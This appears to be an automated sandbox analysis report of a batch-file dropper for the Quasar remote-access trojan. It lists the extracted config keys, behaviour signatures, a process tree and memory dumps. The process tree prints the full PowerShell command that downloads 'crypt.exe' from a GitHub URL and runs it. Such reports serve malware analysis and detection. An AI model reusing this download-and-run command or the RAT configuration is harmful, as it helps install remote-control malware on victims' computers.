Analysis
- user interaction
yes - max time kernel
66s - max time network
67s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 03:10
General
- Target actualratlocalhost.bat
- Size 276B
- Sample260820-dpbnfabb63
- SHA256 013cba85c0eabdd038bccf32e7aac9eb59322ee115a32a1f594fd9776466bc7d
Malware Config
Extracted
-
quasar
-
encryption_key
F3752C59B2D3B587D1C5FB8FB57F0225554558A4
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of SetThreadContext 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\actualratlocalhost.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/crypt.exe' -OutFile 'C:\ProgramData\crypt.exe'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\ProgramData\crypt.exe"C:\ProgramData\crypt.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
crypt.exe
keFC0F95E0.tmp
memory/4136-10-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-1-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-6-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-7-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-8-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-9-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-0-0x00007FF85487F000-0x00007FF854880000-memory.dmp
memory/4136-11-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-12-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-13-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-14-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-18-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-19-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-20-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-5-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4136-4-0x0000028FF4700000-0x0000028FF4722000-memory.dmp
memory/4368-36-0x000001E7F71A0000-0x000001E7F71D4000-memory.dmp
memory/4368-35-0x000001E7F70B0000-0x000001E7F71A4000-memory.dmp
memory/4368-42-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4368-31-0x000001E7F6A80000-0x000001E7F6B7A000-memory.dmp
memory/4368-41-0x000001E7F7280000-0x000001E7F72BE000-memory.dmp
memory/4368-30-0x000001E7F6A80000-0x000001E7F6B7A000-memory.dmp
memory/4368-29-0x000001E7F5500000-0x000001E7F5502000-memory.dmp
memory/4368-38-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4368-33-0x00007FF85487F000-0x00007FF854880000-memory.dmp
memory/4368-37-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4368-34-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4368-39-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/4368-40-0x00007FF8546F0000-0x00007FF855094000-memory.dmp
memory/5776-32-0x00007FF69FB90000-0x00007FF69FBA1000-memory.dmp
memory/5776-24-0x000001F485F30000-0x000001F485F31000-memory.dmp